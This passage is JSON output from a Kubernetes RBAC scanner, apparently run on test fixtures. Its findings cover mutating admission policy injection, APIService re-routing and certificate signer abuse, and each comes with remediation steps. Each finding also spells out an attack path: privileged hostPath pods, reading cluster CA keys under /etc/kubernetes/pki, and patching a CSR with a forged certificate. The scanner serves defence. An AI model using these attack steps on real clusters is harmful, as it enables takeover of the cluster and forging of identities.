      "They wait for (or trigger) a pod create in that namespace (a Deployment rollout, a Job, their own `kubectl run`); the apiserver rewrites it in-process and admits a privileged, host-mounting pod.",
      "From the privileged pod they `chroot` into the host root, read `/etc/kubernetes/pki/*` or `/var/lib/kubelet` on a control-plane-adjacent node, and forge cluster-admin credentials."
    ],
    "evidence": {
      "api_groups": [
        "admissionregistration.k8s.io"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "mutatingadmissionpolicies",
        "mutatingadmissionpolicybindings"
      ],
      "scope": "cluster",
      "source_binding": "crb-mutating-policy",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-mutating-policy",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "create",
        "update",
        "patch"
      ]
    },
    "remediation": "Remove write access to `mutatingadmissionpolicies` and `mutatingadmissionpolicybindings` from every non-admin identity; treat it like write access to (Cluster)RoleBindings.",
    "remediation_steps": [
      "Drop `create`/`update`/`patch` on `mutatingadmissionpolicies` and `mutatingadmissionpolicybindings` from ServiceAccount/map-fixtures/sa-mutating-policy. These verbs belong only to cluster administrators.",
      "Audit who else holds them: `kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]?.resources[]? | test(\"mutatingadmissionpolic\")) | .metadata.name'` (add the ClusterRoleBinding subjects to see the reachable identities).",
      "Enumerate existing policies and bindings for a mutation already planted: `kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings -o yaml` and review each `spec.mutations` block.",
      "Add a ValidatingAdmissionPolicy (or Kyverno / Gatekeeper rule) that rejects creation of MutatingAdmissionPolicies / bindings outside a tiny admin allowlist, as defence in depth.",
      "Verify with `kubectl auth can-i create mutatingadmissionpolicies --as=sa-mutating-policy -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: MutatingAdmissionPolicy",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/"
      },
      {
        "title": "Kubernetes: Admission control ordering (mutating before validating)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-019:ServiceAccount/rbac-fixtures/sa-wildcard::*",
    "rule_id": "KUBE-PRIVESC-019",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Mutating admission policy injection: `ServiceAccount/rbac-fixtures/sa-wildcard` can rewrite every admitted object",
    "description": "Subject ServiceAccount/rbac-fixtures/sa-wildcard can write `mutatingadmissionpolicies` (via ClusterRoleBinding `crb-wildcard` : ClusterRole `cr-wildcard`) and `mutatingadmissionpolicybindings` (via ClusterRoleBinding `crb-wildcard` : ClusterRole `cr-wildcard`). A `MutatingAdmissionPolicy` is the in-tree, webhookless equivalent of a mutating admission webhook (GA in Kubernetes v1.36): its CEL / JSONPatch / ApplyConfiguration mutation is stored in etcd and executed in-process by the apiserver, so there is no external endpoint, no serving certificate, and no backing Deployment, only the policy object and a binding that activates it.\n\nWith write access to both, the subject authors a mutation that matches `pods` on CREATE and injects `securityContext.privileged: true`, a `hostPath` volume mounting the node root, or an extra container, then binds it. Every pod created afterwards, by any workload, controller, or user, is silently rewritten before it is persisted. One privileged pod on a node is a host escape, and from a control-plane node that is the cluster CA and every token.\n\nBoth halves are load-bearing, which is why this finding requires them together: a policy with no binding never executes, and a binding pointing at no attacker-controlled policy mutates nothing. This mirrors `KUBE-PRIVESC-010`, where a binding write escalates only alongside the `bind` verb.\n\nOne ordering detail decides where the injected pod can land, and the finding does not overstate it: mutating admission runs before validating admission, and Pod Security Admission is a validating plugin, so an injected `privileged` pod is still rejected by PSA in a namespace that enforces `baseline` or `restricted`. The mutation therefore targets a namespace PSA does not restrict (an unlabeled namespace, or a `privileged`-labelled one such as `kube-system`), which every real cluster has at least one of.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-wildcard",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-wildcard",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: MutatingAdmissionPolicies and their bindings are cluster-scoped and rewrite admission for every matching request across the cluster"
    },
    "impact": "Cluster-wide admission-time object rewriting. The subject injects privileged settings, host mounts, or sidecars into every future pod, defeating pod-hardening for all workloads at once and reaching node, then control-plane, compromise, with no webhook or external infrastructure to detect.",
    "attack_scenario": [
      "Attacker confirms both halves with `kubectl auth can-i create mutatingadmissionpolicies --as=sa-wildcard -A` and `kubectl auth can-i create mutatingadmissionpolicybindings --as=sa-wildcard -A`.",
      "They author a MutatingAdmissionPolicy matching `pods` CREATE whose ApplyConfiguration/JSONPatch sets `spec.containers[*].securityContext.privileged: true` and adds a `hostPath: /` volume, scoped (via matchConstraints or a namespaceSelector) to a namespace PSA does not restrict.",
      "They create a MutatingAdmissionPolicyBinding referencing the policy, activating it cluster-wide for matching requests.",
      "They wait for (or trigger) a pod create in that namespace (a Deployment rollout, a Job, their own `kubectl run`); the apiserver rewrites it in-process and admits a privileged, host-mounting pod.",
      "From the privileged pod they `chroot` into the host root, read `/etc/kubernetes/pki/*` or `/var/lib/kubelet` on a control-plane-adjacent node, and forge cluster-admin credentials."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "crb-wildcard",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-wildcard",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Remove write access to `mutatingadmissionpolicies` and `mutatingadmissionpolicybindings` from every non-admin identity; treat it like write access to (Cluster)RoleBindings.",
    "remediation_steps": [
      "Drop `create`/`update`/`patch` on `mutatingadmissionpolicies` and `mutatingadmissionpolicybindings` from ServiceAccount/rbac-fixtures/sa-wildcard. These verbs belong only to cluster administrators.",
      "Audit who else holds them: `kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]?.resources[]? | test(\"mutatingadmissionpolic\")) | .metadata.name'` (add the ClusterRoleBinding subjects to see the reachable identities).",
      "Enumerate existing policies and bindings for a mutation already planted: `kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings -o yaml` and review each `spec.mutations` block.",
      "Add a ValidatingAdmissionPolicy (or Kyverno / Gatekeeper rule) that rejects creation of MutatingAdmissionPolicies / bindings outside a tiny admin allowlist, as defence in depth.",
      "Verify with `kubectl auth can-i create mutatingadmissionpolicies --as=sa-wildcard -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: MutatingAdmissionPolicy",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/"
      },
      {
        "title": "Kubernetes: Admission control ordering (mutating before validating)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-020:ServiceAccount/hookbackend-fixtures/apisvc-installer::apiservices",
    "rule_id": "KUBE-PRIVESC-020",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide `update`/`patch` on `apiservices` lets `ServiceAccount/hookbackend-fixtures/apisvc-installer` re-route API groups to a server it controls",
    "description": "Subject ServiceAccount/hookbackend-fixtures/apisvc-installer can `update`/`patch` `apiservices` (apiregistration.k8s.io) via ClusterRoleBinding `crb-apisvc-installer` → ClusterRole `cr-apisvc-installer`, reaching any API group's registration, native groups included.\n\nAn APIService registration tells the kube-aggregator which server answers an API group and version. A registration with `spec.service` set makes the aggregator proxy that group's requests to a Service in some namespace, authenticating to it with the API server's own front-proxy client certificate and forwarding the original caller's identity in headers. Rewriting the registration re-routes the group.\n\nFor a native group the holder serves that group in the API server's stead: the aggregator forwards RBAC, authentication, or core requests to the holder's Service, with the API server's front-proxy credentials and the caller's identity. That is the API server's own authority handed over, and nothing in-tree reverts the registration.\n\nThe verb is held by a few installers (metrics-server, cert-manager's cainjector, OLM) and is routinely granted without `resourceNames`, which is what turns a metrics add-on's permission into a control-plane one.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "apisvc-installer",
      "namespace": "hookbackend-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-apisvc-installer",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: APIService registrations are cluster-scoped and decide which server answers each API group"
    },
    "impact": "Serve an API group in the API server's stead, receiving every request for it together with the API server's front-proxy credentials and the caller's identity. For a native group this is cluster-admin; for an aggregated group it is that group's whole request stream.",
    "attack_scenario": [
      "Attacker confirms the verb with `kubectl auth can-i patch apiservices --as=apisvc-installer -A`.",
      "They run a Service of their own and rewrite a registration's `spec.service` to point at it (setting `insecureSkipTLSVerify` or their own `caBundle` so the aggregator accepts their serving certificate).",
      "The aggregator forwards that group's requests to their Service with the API server's front-proxy credentials and each caller's identity. They answer, record, or alter them.",
      "For a native group, every client of that group, controllers included, is now talking to the attacker."
    ],
    "evidence": {
      "api_groups": [
        "apiregistration.k8s.io"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "apiservices"
      ],
      "scope": "cluster",
      "source_binding": "crb-apisvc-installer",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-apisvc-installer",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "get",
        "list",
        "update"
      ]
    },
    "remediation": "Remove `update`/`patch` on `apiservices` from every identity that is not a cluster administrator; where an installer needs it, scope it with `resourceNames` to the registrations the installer owns.",
    "remediation_steps": [
      "Drop `update`/`patch` on `apiservices` from ServiceAccount/hookbackend-fixtures/apisvc-installer, or scope it with `resourceNames` to the installer's own registrations (for metrics-server, `v1beta1.metrics.k8s.io`).",
      "Audit who else holds it: `kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]? | (.resources // [] | index(\"apiservices\")) and ((.verbs // []) | map(. == \"update\" or . == \"patch\" or . == \"*\") | any)) | .metadata.name'`.",
      "Alert on APIService writes that set `spec.service` on a registration in a native API group, or that remove the `kube-aggregator.kubernetes.io/automanaged` label.",
      "Prefer CRDs over aggregated API servers where the data model allows; a CRD needs no registration write.",
      "Verify with `kubectl auth can-i patch apiservices --as=apisvc-installer -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/apiserver-aggregation/",
      "https://kubernetes.io/docs/tasks/extend-kubernetes/configure-aggregation-layer/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: Kubernetes API Aggregation Layer",
        "url": "https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/apiserver-aggregation/"
      },
      {
        "title": "Kubernetes: Configure the Aggregation Layer (front-proxy credentials)",
        "url": "https://kubernetes.io/docs/tasks/extend-kubernetes/configure-aggregation-layer/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1557",
        "name": "Adversary-in-the-Middle",
        "url": "https://attack.mitre.org/techniques/T1557/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Control plane hardening",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-024:ServiceAccount/csr-fixtures/sa-csr-sign::signers",
    "rule_id": "KUBE-PRIVESC-024",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Signer control: `ServiceAccount/csr-fixtures/sa-csr-sign` can sign client certificates for `kubernetes.io/kube-apiserver-client`",
    "description": "Subject ServiceAccount/csr-fixtures/sa-csr-sign holds the `sign` verb on the `signers` resource covering `kubernetes.io/kube-apiserver-client` (via ClusterRoleBinding `crb-csr-sign` → ClusterRole `cr-csr-sign`) together with `update/patch` on `certificatesigningrequests/status` (via ClusterRoleBinding `crb-csr-sign` → ClusterRole `cr-csr-sign`). That pair is not an approval bypass so much as an approval *irrelevance*: it is the exact authorization Kubernetes defines for a certificate signer, and the CertificateSigning admission plugin checks the `sign` verb when a status write populates `status.certificate`.\n\nWhere `KUBE-PRIVESC-011` asks the cluster's signer to issue a certificate (and therefore has to pass the approval gate), this subject IS the signer for those signerNames. It writes the issued certificate itself, so no `create`, no `/approval`, and no approver identity is involved anywhere in the chain.\n\nWhat that yields is any identity in the cluster: the `kubernetes.io/kube-apiserver-client` signer places no restriction on the Subject DN beyond the `system:masters` Organization that CertificateSubjectRestriction blocks, so a CN naming a privileged ServiceAccount (`system:serviceaccount:kube-system:\u003csa\u003e`) or a control-plane user is issued without challenge.\n\nOne condition worth stating plainly, because it decides how urgent this is for your cluster: a certificate only authenticates if it chains to a CA in the apiserver's `--client-ca-file`. This RBAC grant designates the holder as the signer for those signerNames, and any real signer implementation holds that CA key — that is what being the signer means. So the question this finding puts in front of you is 'is this identity supposed to be a certificate authority for cluster identities?'. For the kube-controller-manager or a purpose-built signer controller the answer is yes; for an application ServiceAccount it never is, and compromising that workload hands over the cluster's identity issuance.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-csr-sign",
      "namespace": "csr-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-csr-sign",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: `signers` is a cluster-scoped virtual resource and an issued client certificate authenticates against every apiserver in the cluster"
    },
    "impact": "Certificate issuance without approval: the subject is an authorized signer for identity-bearing certificates and writes issued certs directly onto CSR status. Combined with the signing CA key its role implies, it mints credentials for arbitrary identities that outlive every RBAC change and cannot be revoked.",
    "attack_scenario": [
      "Attacker confirms the grant with `kubectl auth can-i --list --as=system:serviceaccount:csr-fixtures:sa-csr-sign | grep -E 'signers|certificatesigningrequests/status'`.",
      "They locate the signing key the role implies: a projected Secret or hostPath in the workload's own pod spec (`kubectl get pod -o yaml | grep -A5 -i 'ca\\|tls\\|signer'`), or the controller-manager's `/etc/kubernetes/pki/ca.key` if the workload runs on a control-plane node.",
      "They submit a CSR for the signer they control, claiming a privileged identity in the CN (a kube-system ServiceAccount, or `system:node:\u003cname\u003e` for the kubelet signers).",
      "They sign it with the CA key and write the result back themselves: `kubectl patch csr \u003cname\u003e --subresource=status --type=merge -p '{\"status\":{\"certificate\":\"\u003cbase64 PEM\u003e\"}}'`. No approver is consulted; the CertificateSigning plugin authorizes the write because they hold `sign` on that signerName.",
      "They authenticate with the issued cert: `kubectl --client-certificate=minted.crt --client-key=minted.key auth whoami` returns the forged identity."
    ],
    "evidence": {
      "api_groups": [
        "certificates.k8s.io"
      ],
      "namespace": "",
      "resource_names": [
        "kubernetes.io/kube-apiserver-client"
      ],
      "resources": [
        "signers"
      ],
      "scope": "cluster",
      "source_binding": "crb-csr-sign",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-csr-sign",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "sign"
      ]
    },
    "remediation": "Reserve `sign` on apiserver-trusted signers for the control plane's own signer controller. If a third-party signer genuinely needs it, scope `resourceNames` to the one signerName it handles (never `kubernetes.io/kube-apiserver-client`, never a `kubernetes.io/*` or `*/*` wildcard) and run it as a dedicated identity with no other permissions.",
    "remediation_steps": [
      "Find every grant of the verb: `kubectl get clusterroles -o json | jq '.items[] | select(.rules[]? | (.resources[]?==\"signers\") and ((.verbs[]?==\"sign\") or (.verbs[]?==\"*\"))) | {name: .metadata.name, rules}'`.",
      "Remove the `sign` grant from ServiceAccount/csr-fixtures/sa-csr-sign, or scope it with `resourceNames` to a custom signerName (`example.com/my-signer`) whose CA is NOT in the apiserver's `--client-ca-file`. A cert from a CA the apiserver does not trust as a client CA authenticates no one.",
      "Drop `update`/`patch` on `certificatesigningrequests/status` from any identity that is not a signer controller: without the status write, the `sign` verb issues nothing.",
      "Confirm the apiserver's `--client-ca-file` bundle contains only CAs you intend to be identity authorities, and that no third-party signer's CA was added to it for convenience.",
      "Audit what was already issued: `kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,ISSUED:.status.certificate` (the CSR cleaner removes issued CSRs about an hour after issuance, so treat an empty list as inconclusive).",
      "Rotate the cluster CA if you suspect misuse — there is no revocation path for an issued Kubernetes client certificate."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#authorization",
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#signers",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesigning",
      "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — CSR: signer authorization (`sign` on `signers`)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#authorization"
      },
      {
        "title": "Kubernetes — CSR: signers and their trust distribution",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#signers"
      },
      {
        "title": "Kubernetes — Admission Controllers: CertificateSigning",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesigning"
      },
      {
        "title": "Kubernetes — Authenticating: X509 client certificates (CN → user, O → group)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1550",
        "name": "Use Alternate Authentication Material",
        "url": "https://attack.mitre.org/techniques/T1550/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "scope:resource-names",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-024:ServiceAccount/foothold-exec/foothold-decoy-sa::*",
    "rule_id": "KUBE-PRIVESC-024",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Signer control: `ServiceAccount/foothold-exec/foothold-decoy-sa` can sign client certificates for `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown`",
    "description": "Subject ServiceAccount/foothold-exec/foothold-decoy-sa holds the `sign` verb on the `signers` resource covering `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown` (via ClusterRoleBinding `foothold-decoy-admin` → ClusterRole `cluster-admin`) together with `update/patch` on `certificatesigningrequests/status` (via ClusterRoleBinding `foothold-decoy-admin` → ClusterRole `cluster-admin`). That pair is not an approval bypass so much as an approval *irrelevance*: it is the exact authorization Kubernetes defines for a certificate signer, and the CertificateSigning admission plugin checks the `sign` verb when a status write populates `status.certificate`.\n\nWhere `KUBE-PRIVESC-011` asks the cluster's signer to issue a certificate (and therefore has to pass the approval gate), this subject IS the signer for those signerNames. It writes the issued certificate itself, so no `create`, no `/approval`, and no approver identity is involved anywhere in the chain.\n\nWhat that yields is any identity in the cluster: the `kubernetes.io/kube-apiserver-client` signer places no restriction on the Subject DN beyond the `system:masters` Organization that CertificateSubjectRestriction blocks, so a CN naming a privileged ServiceAccount (`system:serviceaccount:kube-system:\u003csa\u003e`) or a control-plane user is issued without challenge.\n\nOne condition worth stating plainly, because it decides how urgent this is for your cluster: a certificate only authenticates if it chains to a CA in the apiserver's `--client-ca-file`. This RBAC grant designates the holder as the signer for those signerNames, and any real signer implementation holds that CA key — that is what being the signer means. So the question this finding puts in front of you is 'is this identity supposed to be a certificate authority for cluster identities?'. For the kube-controller-manager or a purpose-built signer controller the answer is yes; for an application ServiceAccount it never is, and compromising that workload hands over the cluster's identity issuance.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-decoy-sa",
      "namespace": "foothold-exec"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: `signers` is a cluster-scoped virtual resource and an issued client certificate authenticates against every apiserver in the cluster"
    },
    "impact": "Certificate issuance without approval: the subject is an authorized signer for identity-bearing certificates and writes issued certs directly onto CSR status. Combined with the signing CA key its role implies, it mints credentials for arbitrary identities that outlive every RBAC change and cannot be revoked.",
    "attack_scenario": [
      "Attacker confirms the grant with `kubectl auth can-i --list --as=system:serviceaccount:foothold-exec:foothold-decoy-sa | grep -E 'signers|certificatesigningrequests/status'`.",
      "They locate the signing key the role implies: a projected Secret or hostPath in the workload's own pod spec (`kubectl get pod -o yaml | grep -A5 -i 'ca\\|tls\\|signer'`), or the controller-manager's `/etc/kubernetes/pki/ca.key` if the workload runs on a control-plane node.",
      "They submit a CSR for the signer they control, claiming a privileged identity in the CN (a kube-system ServiceAccount, or `system:node:\u003cname\u003e` for the kubelet signers).",
      "They sign it with the CA key and write the result back themselves: `kubectl patch csr \u003cname\u003e --subresource=status --type=merge -p '{\"status\":{\"certificate\":\"\u003cbase64 PEM\u003e\"}}'`. No approver is consulted; the CertificateSigning plugin authorizes the write because they hold `sign` on that signerName.",
      "They authenticate with the issued cert: `kubectl --client-certificate=minted.crt --client-key=minted.key auth whoami` returns the forged identity."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "foothold-decoy-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Reserve `sign` on apiserver-trusted signers for the control plane's own signer controller. If a third-party signer genuinely needs it, scope `resourceNames` to the one signerName it handles (never `kubernetes.io/kube-apiserver-client`, never a `kubernetes.io/*` or `*/*` wildcard) and run it as a dedicated identity with no other permissions.",
    "remediation_steps": [
      "Find every grant of the verb: `kubectl get clusterroles -o json | jq '.items[] | select(.rules[]? | (.resources[]?==\"signers\") and ((.verbs[]?==\"sign\") or (.verbs[]?==\"*\"))) | {name: .metadata.name, rules}'`.",
      "Remove the `sign` grant from ServiceAccount/foothold-exec/foothold-decoy-sa, or scope it with `resourceNames` to a custom signerName (`example.com/my-signer`) whose CA is NOT in the apiserver's `--client-ca-file`. A cert from a CA the apiserver does not trust as a client CA authenticates no one.",
      "Drop `update`/`patch` on `certificatesigningrequests/status` from any identity that is not a signer controller: without the status write, the `sign` verb issues nothing.",
      "Confirm the apiserver's `--client-ca-file` bundle contains only CAs you intend to be identity authorities, and that no third-party signer's CA was added to it for convenience.",
      "Audit what was already issued: `kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,ISSUED:.status.certificate` (the CSR cleaner removes issued CSRs about an hour after issuance, so treat an empty list as inconclusive).",
      "Rotate the cluster CA if you suspect misuse — there is no revocation path for an issued Kubernetes client certificate."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#authorization",
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#signers",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesigning",
      "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — CSR: signer authorization (`sign` on `signers`)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#authorization"
      },
      {
        "title": "Kubernetes — CSR: signers and their trust distribution",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#signers"
      },
      {
        "title": "Kubernetes — Admission Controllers: CertificateSigning",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesigning"
      },
      {
        "title": "Kubernetes — Authenticating: X509 client certificates (CN → user, O → group)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1550",
        "name": "Use Alternate Authentication Material",
        "url": "https://attack.mitre.org/techniques/T1550/"
      }
